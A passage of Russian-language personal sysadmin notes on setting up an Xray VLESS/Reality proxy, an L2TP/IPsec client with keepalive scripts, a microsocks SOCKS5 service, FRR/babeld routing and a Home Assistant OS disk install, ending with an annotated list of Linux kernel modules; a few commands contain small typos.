перечитать конфигурацию systemd: systemctl daemon-reload # Включаем автозапуск при загрузке сервера systemctl enable xray # Запускаем Xray сейчас systemctl start xray # Проверяем, что всё работает systemctl status xray # Смотрим логи journalctl -u xray -f --since "1 minute ago" 5.3 Останавливаем разбираемся что настраивать systemctl stop xray |
1. Краткое описание что есть что:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
Внимательно знакомимся что есть что: UUID — это уникальный идентификатор. Генерируем UUID выполните команду: xray uuid PrivateKey и PublicKey - (приватный и публичный) Это самый важный шаг. Генерируем пару ключей Reality выполните команду: xray x25519 Приватный ключ: пойдёт в конфиг сервера (privateKey) Публичный ключ: пойдет для конфига клиента (параметр pbk) ShortID — это шестнадцатеричная строка. Генерируем ShortID выполните команду: openssl rand -hex 8 |
2. Основная настройка сервера и облегчение первого запуска:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 |
Берем какой нибудь текстовый редактор, в него мы будем сохранять полученные значения и подготавливать конфиг. Вводим описанные команды для конфига ниже для трех пользователей: 0. Нужно сгенерировать три уида xray uuid xray uuid xray uuid 1. Нужно сгенерировать приватный и публичный ключ в кол-ве 1шт xray x25519 2. нужно сгенерировать short-id в кол-ве 1шт openssl rand -hex 8 3. Внимательно заполняем ниже # Как это вставить на сервер думаю объяснять не надо. UUID_1="пишем первый уид" UUID_2="пишем второй уид" UUID_3="пишем третий уид" SERVER_IP="Сюда пишем внешний адрес сервера" PORT="желаемый порт для сервера xray например 25687" SNI="Желаемый SNI, то сайт которым будет прикидываться reality, этот момент я оставлю не объяснённым, но это важная опция" PUBLIC_KEY="сюда публичный ключ" SHORT_ID="сюда пишем шорт" PrivateKey="пишем приватный ключ" cat > /usr/local/etc/xray/config.json << EOF { "log": {"loglevel": "debug"}, "inbounds": [ { "port": $PORT, "protocol": "vless", "settings": { "clients": [ { "id": "$UUID_1", "flow": "xtls-rprx-vision", "email": "notebook@example.com" }, { "id": "$UUID_2", "flow": "xtls-rprx-vision", "email": "phone@example.com" }, { "id": "$UUID_3", "flow": "xtls-rprx-vision", "email": "tablet@example.com" } ], "decryption": "none" }, "streamSettings": { "network": "tcp", "security": "reality", "realitySettings": { "dest": "$SNI:443", "serverNames": ["$SNI"], "privateKey": "$PrivateKey", "shortIds": ["$SHORT_ID"], "servername": "$SNI" } } } ], "outbounds": [{"protocol": "freedom"}] } EOF # Собираем ссылку VLESS_LINK1="vless://$UUID_1@$SERVER_IP:$PORT?encryption=none&security=reality&flow=xtls-rprx-vision&sni=$SNI&fp=chrome&pbk=$PUBLIC_KEY&sid=$SHORT_ID&type=tcp&alpn=http%2F1.1#MyVLESS_REALITY1" VLESS_LINK2="vless://$UUID_2@$SERVER_IP:$PORT?encryption=none&security=reality&flow=xtls-rprx-vision&sni=$SNI&fp=chrome&pbk=$PUBLIC_KEY&sid=$SHORT_ID&type=tcp&alpn=http%2F1.1#MyVLESS_REALITY2" VLESS_LINK3="vless://$UUID_3@$SERVER_IP:$PORT?encryption=none&security=reality&flow=xtls-rprx-vision&sni=$SNI&fp=chrome&pbk=$PUBLIC_KEY&sid=$SHORT_ID&type=tcp&alpn=http%2F1.1#MyVLESS_REALITY3" # Выводим ссылку на экран echo $VLESS_LINK1 echo $VLESS_LINK2 echo $VLESS_LINK3 # Генерируем QR-код для UUID_1 (можно отсканировать телефоном) qrencode -t ansiutf8 $VLESS_LINK1 |
3. Клиент для пк для телефона и т.д.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
Заходите на github.com/2dust/v2rayN/releases Скачиваете файл v2rayN-xx.zip (последняя версия) Для андройда их много всяких в гуглаплей Для яблока тоже. основные названия у клиентов HAPP, v2ray* есть и другие все они работают с переменным успехом, как и упомянутые клиенты выше Самый быстрый способ подключится к серверу xray: Скопируйте вашу VLESS-ссылку с сервера (начинается с vless://) В приложении xray: Нажмите на меню "Серверы" -> "Импорт ссылок из буфера обмена" Всё! Сервер появится в списке. Второй способ использовать камеру телефона из вашего приложения, для сканирования куракода |
Docker-compose:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 |
0. Создаем каталог и не забывает отрубить старый xray: # отключаем: systemctl stop xray.service systemctl disable xray.service # создаем каталог mkdir -p /opt/docker-xray #sudo chown "$USER:$USER" /opt/docker-xray cd /opt/docker-xray 1. cat > docker-compose.yml << "EOF" services: xray: #image: ghcr.io/xtls/xray-core:latest image: ghcr.io/xtls/xray-core:26.6.27 container_name: xray restart: unless-stopped network_mode: host volumes: - ./config.json:/etc/xray/config.json:ro command: ["run", "-c", "/etc/xray/config.json"] read_only: true tmpfs: - /tmp:size=1m cap_drop: - ALL security_opt: - no-new-privileges:true logging: driver: "json-file" options: max-size: "5m" max-file: "1" EOF 2. сгенерировать config.json как обычно cd /opt/docker-xray # ... сгенерировать config.json как обычно ... # ну или перенесем старое из системы: cd /opt/docker-xray mv /usr/local/etc/xray/config.json . 3. Запуск cd /opt/docker-xray docker compose up -d docker compose ps docker compose logs -f --tail=50 xray P.S docker compose restart xray # перечитать config.json docker compose pull && docker compose up -d # обновить Xray docker compose down # остановить |
0. Установка необходимых пакетов
|
1 2 3 |
bash apt update apt install strongswan xl2tpd -y |
1. Настройка IPsec (StrongSwan)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
1.0 Создаем и редактируем файл /etc/ipsec.conf: cat > /etc/ipsec.conf << 'EOF' config setup conn %default ikelifetime=60m keylife=20m rekeymargin=3m keyingtries=1 keyexchange=ikev1 authby=secret ike=aes128-sha1-modp1024,3des-sha1-modp1024! esp=aes128-sha1-modp1024,3des-sha1-modp1024! conn L2TP-PSK keyexchange=ikev1 left=%defaultroute auto=add authby=secret type=transport leftprotoport=17/1701 rightprotoport=17/1701 right=SERVER_VPN_IP_FIX_THIS #fix this string EOF 1.1 Создаем файл с секретом echo ": PSK "YOU_PSK_KEY_FIX_ME #fix this string" > /etc/ipsec.secrets chmod 600 /etc/ipsec.secrets |
2. Настройка xl2tpd
|
1 2 3 4 5 6 7 8 |
Редактируем файл --- много всего добавить в самый низ [lac myVPN] lns = SERVER_VPN_IP_FIX_THIS #fix this string ppp debug = yes pppoptfile = /etc/ppp/options.l2tpd.client length bit = yes |
3. Настройка PPP
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
cat > /etc/ppp/options.l2tpd.client << "EOF" ipcp-accept-local ipcp-accept-remote refuse-eap require-mschap-v2 noccp noauth logfile /var/log/xl2tpd.log idle 1800 mtu 1410 mru 1410 defaultroute usepeerdns debug connect-delay 5000 name USERNAME_VPN_FIX_THIS password PASSWORDUSERUSER_VPN_FIX_THIS EOF chmod 600 /etc/ppp/options.l2tpd.client |
4. Управление l2tp и keepalive.
Скрипт запуска и перезапуска l2tp
(да все можно сделать через network-manager, но иногда надо так)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 |
cat > /usr/local/bin/l2tp-vpn.sh << 'EOF' #!/bin/bash VPN_NAME="myVPN" CONTROL_FILE="/var/run/xl2tpd/l2tp-control" VPN_ROUTE="192.168.0.0/24" # fix_this case "$1" in start) echo "Starting VPN..." mkdir -p /var/run/xl2tpd touch "$CONTROL_FILE" #ipsec start #dipricated #sleep 2 #dipricated #ipsec up L2TP-PSK #dipricated sleep 2 systemctl start xl2tpd sleep 2 echo "c $VPN_NAME" > "$CONTROL_FILE" # Ждём появления ppp0 for i in {1..20}; do if ip link show ppp0 2>/dev/null | grep -q "UP"; then echo "ppp0 is up" break fi sleep 1 done sleep 2 ip route del $VPN_ROUTE dev ppp0 2>/dev/null ip route add $VPN_ROUTE dev ppp0 echo "VPN started and route added" ;; stop) echo "Stopping VPN..." ip route del $VPN_ROUTE dev ppp0 2>/dev/null echo "d $VPN_NAME" > "$CONTROL_FILE" 2>/dev/null sleep 1 systemctl stop xl2tpd #ipsec down L2TP-PSK 2>/dev/null # #dipricated #ipsec stop # #dipricated echo "VPN stopped" ;; *) echo "Usage: $0 {start|stop}" exit 1 ;; esac EOF chmod +x /usr/local/bin/l2tp-vpn.sh #keepalive cat > /usr/local/bin/l2tp-vpn-monitor.sh << 'EOF' #!/bin/bash VPN_ROUTE="192.168.15.0/24" # ДОЛЖЕН СОВПАДАТЬ С VPN_ROUTE ИЗ l2tp-vpn.sh CHECK_INTERVAL=30 # Проверяем каждые 30 секунд log() { echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" } while true; do # Проверяем жив ли туннель if ! ip link show ppp0 2>/dev/null | grep -q "UP"; then log "ALERT: VPN tunnel is DOWN! Restarting..." /usr/local/bin/l2tp-vpn.sh stop sleep 5 /usr/local/bin/l2tp-vpn.sh start log "VPN restart completed" # Проверяем есть ли маршрут elif ! ip route show 2>/dev/null | grep -q "$VPN_ROUTE.*ppp0"; then log "ALERT: Route $VPN_ROUTE is missing! Re-adding..." ip route add $VPN_ROUTE dev ppp0 2>/dev/null log "Route re-added" fi sleep $CHECK_INTERVAL done EOF chmod +x /usr/local/bin/l2tp-vpn-monitor.sh |
5. Файлы systemd для скрипто:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
#keepalive cat > /etc/systemd/system/l2tp-vpn-monitor.service << 'EOF' [Unit] Description=L2TP VPN Monitor Daemon After=l2tp-vpn.service Requires=l2tp-vpn.service [Service] Type=simple ExecStart=/usr/local/bin/l2tp-vpn-monitor.sh Restart=always RestartSec=10 [Install] WantedBy=multi-user.target EOF #runner l2tp cat > /etc/systemd/system/l2tp-vpn.service << 'EOF' [Unit] Description=L2TP/IPsec VPN Client After=network.target [Service] Type=oneshot RemainAfterExit=yes ExecStart=/usr/local/bin/l2tp-vpn.sh start ExecStop=/usr/local/bin/l2tp-vpn.sh stop [Install] WantedBy=multi-user.target EOF |
5. запуск и проверка:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
Запуск: systemctl daemon-reload # Включаем автозапуск обоих сервисов systemctl enable l2tp-vpn.service systemctl enable l2tp-vpn-monitor.service # Запускаем systemctl start l2tp-vpn.service systemctl start l2tp-vpn-monitor.service Проверка: # Статус VPN systemctl status l2tp-vpn # Статус монитора systemctl status l2tp-vpn-monitor # Проверка маршрутов ip route | grep ppp0 # Логи монитора journalctl -u l2tp-vpn-monitor -f |
P.S nmcli
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
0. Создание VPN-подключения через nmcli # Импорт из конфигурационного файла nmcli connection import type l2tp file ~/my-vpn.conf # Или создание с нуля nmcli connection add type vpn \ vpn-type l2tp \ con-name "MyVPN" \ vpn.data "gateway = vpn.example.com, \ ipsec-enabled = yes, \ ipsec-psk = YOUR_PSK, \ user = YOUR_USERNAME" # Включить VPN: nmcli connection up "MyVPN" # Выключить: nmcli connection down "MyVPN" # Статус: nmcli connection show --active # Список всех подключений: nmcli connection show Пример файла конфига: work-vpn.conf -------------- ini [vpn] gateway = vpn.company.com ipsec-enabled = yes ipsec-psk = MySecretPSK123 ipsec-ike = aes256-sha256-modp2048 ipsec-esp = aes256-sha256 user = myusername password = MyRealPassword [ipv4] never-default = yes routes = 192.168.0.0/24 10.0.0.1 -------------- |
Установка
|
1 2 |
apt update sudo apt install microsocks -y |
Настройка пользователя:
|
1 2 3 4 5 6 7 |
Создание юзака: Генерация пароля и пользователя: USERNAME="user$(openssl rand -hex 3)" PASSWORD="$(openssl rand -base64 12)" echo "Username: $USERNAME" echo "Password: $PASSWORD" |
Создание сервиса :
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
cat > /etc/systemd/system/microsocks.service << "EOF" [Unit] Description=Microsocks SOCKS5 Server After=network.target [Service] EnvironmentFile=/etc/default/microsocks ExecStart=/usr/bin/microsocks -i 0.0.0.0 -p ${MICROSOCKS_PORT} -u ${MICROSOCKS_USER} -P ${MICROSOCKS_PASS} Restart=always [Install] WantedBy=multi-user.target EOF cat > /etc/default/microsocks << "EOF" MICROSOCKS_PORT="999" MICROSOCKS_USER="USER_FIX_ME" MICROSOCKS_PASS="PASSWORD_FIX_ME" EOF |
Запус и управление:
|
1 2 3 4 |
systemctl daemon-reload systemctl enable microsocks systemctl restart microsocks systemctl status microsocks |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 |
# distrib ubuntu focal-security Пакеты: apt install git make gcc linux-libc-dev pkg-config libncurses-dev flex bison libssl-dev libelf-dev dwarves rsync bc fakeroot build-essential apt install xz-utils libncurses5-dev tcpdump frr nmap tmux ansible htop vim cat > etc/network/interfaces "EOF" auto eth0 allow-hotplug eth0 iface eth0 inet dhcp auto eth0:0 iface eth0 inet static address 192.168.127.122/24 auto eth1 allow-hotplug eth1 iface eth1 inet static address 10.22.1.1/24 auto eth2 iface eth2 inet static address 10.22.2.1/24 auto eth3 iface eth3 inet static address 10.22.3.1/24 auto eth4 iface eth4 inet static address 10.22.4.1/24 #add router link auto eth3:0 iface eth3:0 inet static address 10.11.3.254/24 #virtal interface auto dummy0 iface dummy0 inet static address 2.2.2.2 netmask 255.255.255.255 pre-up modprobe dummy || true post-up ip link set dummy0 up EOF cat > /etc/frr/frr.conf << "EOF" ## Ahtung!!! need off babeld service ## systemctl stop babeld && systemctl disable babeld frr defaults traditional log syslog informational service integrated-vtysh-config router babel network eth1 network eth2 network eth3 network eth4 redistribute ipv4 connected redistribute ipv6 connected babel diversity babel diversity-factor 128 interface eth1 babel wired babel split-horizon babel hello-interval 12000 babel update-interval 36000 interface eth2 babel wired babel split-horizon babel hello-interval 12000 babel update-interval 36000 interface eth3 babel wired babel split-horizon babel hello-interval 12000 babel update-interval 36000 interface eth4 babel wired babel split-horizon babel hello-interval 12000 babel update-interval 36000 EOF cat > /etc/frr/daemons << "EOF" # This file tells the frr package which daemons to start. # # Sample configurations for these daemons can be found in # /usr/share/doc/frr/examples/. # # ATTENTION: # # When activating a daemon for the first time, a config file, even if it is # empty, has to be present *and* be owned by the user and group "frr", else # the daemon will not be started by /etc/init.d/frr. The permissions should # be u=rw,g=r,o=. # When using "vtysh" such a config file is also needed. It should be owned by # group "frrvty" and set to ug=rw,o= though. Check /etc/pam.d/frr, too. # user@ansible:~/prod$ cat frr_daemons.j2 # This file tells the frr package which daemons to start. # # Sample configurations for these daemons can be found in # /usr/share/doc/frr/examples/. # # ATTENTION: # # When activating a daemon for the first time, a config file, even if it is # empty, has to be present *and* be owned by the user and group "frr", else # the daemon will not be started by /etc/init.d/frr. The permissions should # be u=rw,g=r,o=. # When using "vtysh" such a config file is also needed. It should be owned by # group "frrvty" and set to ug=rw,o= though. Check /etc/pam.d/frr, too. # # The watchfrr, zebra and staticd daemons are always started. # bgpd=no ospfd=no ospf6d=no ripd=no ripngd=no isisd=no pimd=no ldpd=no nhrpd=no eigrpd=no babeld=yes sharpd=no pbrd=no bfdd=no fabricd=no vrrpd=no # # If this option is set the /etc/init.d/frr script automatically loads # the config via "vtysh -b" when the servers are started. # Check /etc/pam.d/frr if you intend to use "vtysh"! # vtysh_enable=yes zebra_options=" -A 127.0.0.1 -s 90000000" bgpd_options=" -A 10.0.0.7" ospfd_options=" -A 127.0.0.1" ospf6d_options=" -A ::1" ripd_options=" -A 127.0.0.1" ripngd_options=" -A ::1" isisd_options=" -A 127.0.0.1" pimd_options=" -A 127.0.0.1" ldpd_options=" -A 127.0.0.1" nhrpd_options=" -A 127.0.0.1" eigrpd_options=" -A 127.0.0.1" babeld_options=" -A 127.0.0.1" sharpd_options=" -A 127.0.0.1" pbrd_options=" -A 127.0.0.1" staticd_options="-A 127.0.0.1" bfdd_options=" -A 127.0.0.1" fabricd_options="-A 127.0.0.1" vrrpd_options=" -A 127.0.0.1" # configuration profile # #frr_profile="traditional" #frr_profile="datacenter" # # This is the maximum number of FD's that will be available. # Upon startup this is read by the control files and ulimit # is called. Uncomment and use a reasonable value for your # setup if you are expecting a large number of peers in # say BGP. #MAX_FDS=1024 # The list of daemons to watch is automatically generated by the init script. #watchfrr_options="" # To make watchfrr create/join the specified netns, use the following option: #watchfrr_options="--netns" # This only has an effect in /etc/frr/<somename>/daemons, and you need to # start FRR with "/usr/lib/frr/frrinit.sh start <somename>". # for debugging purposes, you can specify a "wrap" command to start instead # of starting the daemon directly, e.g. to use valgrind on ospfd: # ospfd_wrap="/usr/bin/valgrind" # or you can use "all_wrap" for all daemons, e.g. to use perf record: # all_wrap="/usr/bin/perf record --call-graph -" # the normal daemon command is added to this at the end. EOF |
/etc/sysctl.conf
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
net.ipv4.ip_forward=1 net.ipv4.tcp_max_tw_buckets = 65536 net.ipv4.tcp_tw_reuse = 0 net.ipv4.tcp_max_syn_backlog = 131072 net.ipv4.tcp_syn_retries = 3 net.ipv4.tcp_synack_retries = 3 net.ipv4.tcp_retries1 = 3 net.ipv4.tcp_retries2 = 8 net.ipv4.tcp_mem = 262144 524288 1048576 net.ipv4.tcp_max_orphans = 65536 net.ipv4.tcp_fin_timeout = 10 net.ipv4.tcp_low_latency = 1 net.core.rmem_max = 134217728 net.core.wmem_max = 134217728 net.ipv4.tcp_rmem = 16384 174760 67108864 net.ipv4.tcp_wmem = 16384 131072 67108864 |
/etc/babeld.conf
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
# need off frr protocol babeld # systemctl stop frr && systemctl disable frr # For more information about this configuration file, refer to # babeld(8) smoothing-half-life 0 link-detect true interface eth1 type wired hello-interval 2 interface eth2 type wired hello-interval 2 interface eth3 type wired hello-interval 2 interface eth4 type wired hello-interval 2 #redestribute all default redistribute ip 10.0.0.0/8 allow redistribute deny #in blok me network in ip 2.2.2.2/32 deny in ip 10.11.3.254/24 deny in ip 10.22.1.0/24 deny in ip 10.22.2.0/24 deny in ip 10.22.3.0/24 deny in ip 10.22.4.0/24 deny in ip 192.168.55.0/24 deny in ip 192.168.127.0/24 deny in allow |
|
1 2 3 4 5 6 7 8 9 10 11 |
#!/bin/bash #card1 card1-DP-1 card1-DP-2 card1-HDMI-A-1 card1-HDMI-A-2 card1-VGA-1 renderD128 while true do echo "Моргаем HDMI..." echo off | sudo tee /sys/class/drm/card1-DP-1/status sleep 7 echo detect | sudo tee /sys/class/drm/card1-DP-1/status echo "Готово. Текущий статус:" cat /sys/class/drm/card1-DP-1/status done |
Links:
|
1 2 3 4 5 6 7 |
https://www.home-assistant.io/installation/generic-x86-64 - офф гайд https://github.com/home-assistant/operating-system/releases - образы https://github.com/home-assistant/operating-system/releases/download/17.0/haos_generic-x86-64-17.0.img.xz - последний образ для x86_x64 на 2026.02.04 https://www.system-rescue.org/ - LiveCD https://rescuezilla.com/ - LiveCD https://github.com/rescuezilla/rescuezilla/releases/download/2.5.1/rescuezilla-2.5.1-64bit.noble.iso - решено на 2.6.1 оказался не рабочий репозиторий и не возможно было поставить zutils https://www.balena.io/etcher - стороння программа для прожога образа |
Install общий пример:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
0. Загружаемся с livecd (я использовал recuezilla) и открываем терминал "xfc terminal" и для удобства можем воспользоваться firefox откуда м скопируем ссылку с образом https://www.home-assistant.io/installation/generic-x86-64 0.1 Для установки распаковщика unxz выполнить в терминале следящие: apt update apt install zutils 1. Скачиваем образ HAOS: wget https://github.com/home-assistant/operating-system/releases/download/17.0/haos_generic-x86-64-17.0.img.xz 2. Распаковываем: unxz haos_generic-x86-64-17.0.img.xz 3. вот так можно посмотреть че там по дискам fdisk -l 4. Пишем образ на диск: dd if=haos_generic-x86-64-17.0.img of=/dev/ТУТ_ПУТЬК_ДИСКУ status=progress bs=2M !!! Гиде /dev/ТУТ_ПУТЬК_ДИСКУ ваш диск |
Install распаковка сразу на диск:
|
1 2 3 4 5 6 7 8 9 10 |
0. Загрузились с liveCD и скачиваем браузером: https://github.com/home-assistant/operating-system/releases/download/17.0/haos_generic-x86-64-17.0.img.xz apt update apt install zutils 1. открываем терминал проверяем как называется наш диск: fdisk -l 2. Переходим в место загрузки: cd /home/ubuntu/Downloads #/dev/sda_YOU_DISK - исправь на свой диск на который будешь записывать HAOS unxz -dc haos_generic-x86-64-17.0.img.xz | dd of=/dev/sda_YOU_DISK bs=4M status=progress |
Возможные проблемы с загрузкой:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
efibootmgr --create --disk /dev/<drivename> --part 1 --label "HAOS" --loader '\EFI\BOOT\bootx64.efi' Пример: efibootmgr -c -d /dev/sda -p 1 -L "HAOS" -l "\EFI\BOOT\bootx64.efi" # Показать записи: efibootmgr -v # Удалить конкретную запись (например, Boot0004) sudo efibootmgr -b 4 -B # Удалить несколько записей sudo efibootmgr -b 0 -B # Boot0000 sudo efibootmgr -b 1 -B # Boot0001 |
Default link:
|
1 |
http://homeassistant.local:8123 |
Часты команды:
|
1 2 3 4 5 6 7 |
modprobe name_modules = загрузка модуля depmod -a = иногда требуется для того что бы система подгрузила сторонний драйвер который вы подложили в папку к модулям Пример: cp name_drv.ko /lib/modules/$(uname -r)/kernel/drivers/net/wireless/ depmod -a modprobe name_drv.ko |
Самые распространённые модули kernel linux:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 |
Базовые / Системные модули: loop = создает виртуальные блочные устройства для монтирования образов дисков tun = создает виртуальный сетевой TUN-интерфейс для работы VPN и маршрутизации tap = создает виртуальный сетевой TAP-интерфейс для работы с эмуляцией сети на канальном уровне fuse = позволяет создавать файловые системы в пользовательском пространстве autofs4 = автоматически монтирует файловые системы по запросу dm_mod = предоставляет базовый функционал Device Mapper для LVM и шифрования дисков msr = дает доступ к MSR-регистрам процессора для мониторинга ipv6 = добавляет поддержку стека сетевого протокола IPv6 Файловые системы overlay = реализует OverlayFS для объединения каталогов (используется в Docker) btrfs = добавляет поддержку современной файловой системы Btrfs ntfs3 = обеспечивает поддержку чтения и записи NTFS (новый драйвер) exfat = добавляет поддержку файловой системы exFAT для флешек cifs = позволяет монтировать сетевые шары по протоколу SMB/CIFS nfs = добавляет клиентскую поддержку сетевой файловой системы NFS ext4 = добавляет поддержку файловой системы EXT4 vfat = обеспечивает поддержку файловых систем FAT16/FAT32 squashfs = добавляет поддержку сжатой файловой системы только для чтения f2fs = добавляет поддержку Flash-Friendly File System для SSD Файловые системы и хранилище: dm_cache = добавляет функционал кэширования для Device Mapper (ускорение дисков) dm_mirror = добавляет функционал зеркалирования для Device Mapper md_mod = модуль программного RAID (многодисковые массивы) bcache = добавляет систему кэширования для блочных устройств (SSD кэш для HDD) jbd2 = журналирование для файловых систем ext4 xfs = добавляет поддержку высокопроизводительной файловой системы XFS nls_utf8 = добавляет поддержку кодировки UTF-8 для файловых систем FAT/VFAT/NTFS Сетевые модули: wireguard = реализует современный протокол VPN WireGuard iptable_filter = добавляет модуль фильтрации пакетов для iptables nf_tables = предоставляет новый фреймворк nftables для замены iptables nft_chain_nat = реализует функционал NAT для nftables veth = создает пары виртуальных Ethernet-устройств bridge = позволяет создавать программные сетевые мосты bonding = объединяет несколько сетевых интерфейсов в один логический macvlan = создает виртуальные интерфейсы с разными MAC-адресами ipvlan = создает виртуальные интерфейсы с разными IP на одном физическом ppp_generic = добавляет поддержку протокола PPP для модемных подключений igb = драйвер для сетевых карт Intel Gigabit Ethernet (серии 82575, 82576, 82580) e1000e = драйвер для современных сетевых карт Intel Gigabit Ethernet (PCI-E) r8169 = драйвер для популярных сетевых карт Realtek (RTL8168, RTL8111 и др.) iwlwifi = драйвер для WiFi адаптеров Intel ath9k = драйвер для WiFi адаптеров Atheros 802.11n (стабильный и популярный) rtw88 = драйвер для современных WiFi адаптеров Realtek (RTL8822BE, RTL8822CE и др.) mac80211 = общий фреймворк для беспроводных драйверов (основа для многих WiFi-драйверов) cfg80211 = подсистема конфигурации беспроводных сетей (работает с mac80211) Виртуализация и контейнеры: kvm = основной модуль виртуализации KVM (Kernel-based Virtual Machine) virtio = добавляет поддержку драйверов VirtIO для паравиртуализации virtio_net = драйвер сетевого интерфейса VirtIO (для виртуальных машин) virtio_blk = драйвер блочного устройства VirtIO (для виртуальных дисков) vhost_net = ускоряет сетевую производительность в виртуальных машинах cgroup = обеспечивает поддержку контрольных групп (cgroups) для изоляции ресурсов Драйверы и оборудование: usb_storage = обеспечивает поддержку USB-накопителей uhci_hcd = добавляет драйвер для USB 1.1 контроллеров (UHCI) ohci_hcd = добавляет драйвер для USB 1.1 контроллеров (OHCI) ehci_hcd = добавляет драйвер для USB 2.0 контроллеров (EHCI) xhci_hcd = добавляет драйвер для USB 3.x контроллеров (xHCI) bluetooth = обеспечивает базовую поддержку стека Bluetooth hid_generic = добавляет общую поддержку HID-устройств usbhid = обеспечивает поддержку HID-устройств через USB i2c_dev = предоставляет доступ к шине I2C из пользовательского пространства uinput = позволяет программам создавать виртуальные устройства ввода kvm_intel = добавляет модуль KVM для виртуализации на процессорах Intel kvm_amd = добавляет модуль KVM для виртуализации на процессорах AMD vfio_pci = позволяет привязывать PCI-устройства напрямую к виртуальным машинам Шифрование и безопасность: dm_crypt = реализует прозрачное шифрование дисков через Device Mapper aesni_intel = включает аппаратное ускорение AES-шифрования evdev = обеспечивает универсальный интерфейс для устройств ввода tpm = добавляет поддержку Trusted Platform Module Безопасность: loadpin = закрепляет загрузку модулей ядра и firmware только с одного места lockdown = ограничивает доступ к потенциально опасным функциям ядра yama = система безопасности для контроля за ptrace integrity = фреймворк целостности платформы (IMA/EVM) apparmor = система принудительного контроля доступа (альтернатива SELinux) selinux = система принудительного контроля доступа (используется в RHEL, Fedora) Мультимедиа и графика: snd_hda_intel = драйвер для звуковых карт Intel HD Audio snd_usb_audio = драйвер для USB-аудио устройств drm = Direct Rendering Manager (основа для графических драйверов) i915 = драйвер для интегрированной графики Intel amdgpu = драйвер для современной графики AMD nouveau = драйвер с открытым кодом для графики NVIDIA uvcvideo = драйвер для USB Video Class устройств (веб-камеры) Прочие важные: processor = управление состоянием процессора (P-states, C-states) thermal = управление терморегуляцией и датчиками температуры acpi_call = позволяет делать ACPI-вызовы (полезно для управления ноутбуками) joydev = драйвер для джойстиков и геймпадов leds_class = фреймворк для управления светодиодными индикаторами rtc_cmos = драйвер для часов реального времени (RTC) battery = поддержка аккумуляторов ноутбуков Для диагностики и отладки: ftrace = фреймворк для трассировки ядра kprobes = механизм для установки динамических точек останова в ядре pcspkr = драйвер для внутреннего динамика ПК (PC speaker) module = сам модуль для динамической загрузки/выгрузки модулей |
САМЫЕ НЕОБХОДИМЫЕ МОДУЛИ (без которых часто не работает система или критичные функции):
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 |
Без этих система может не загрузиться/не работать dm_mod = основа для LVM и шифрования дисков (если используется) ext4 = если корневая файловая система ext4 virtio = если система запущена в виртуальной машине (VirtIO диски/сеть) nvme = для современных SSD NVMe ahci = для SATA контроллеров sd_mod = для работы с SCSI/SATA дисками (основа хранилища) Без этих не будет сети (для большинства систем) e1000e = для сетевых Intel (физические сервера/ПК) virtio_net = для виртуальных машин с VirtIO r8169 = для сетевых Realtek (самые распространённые) bridge = если используются виртуальные машины/контейнеры ipv6 = почти всегда нужен Без этих не будет базового USB xhci_hcd = для USB 3.x (современные системы) ehci_hcd = для USB 2.0 uhci_hcd/ohci_hcd = для USB 1.1 (старые системы) usb_storage = для флешек и внешних дисков usbhid = для USB клавиатур и мышей Без этих не будет нужных файловых систем overlay = для Docker/контейнеров (обязательно!) ntfs3 = для чтения/записи Windows разделов vfat = для 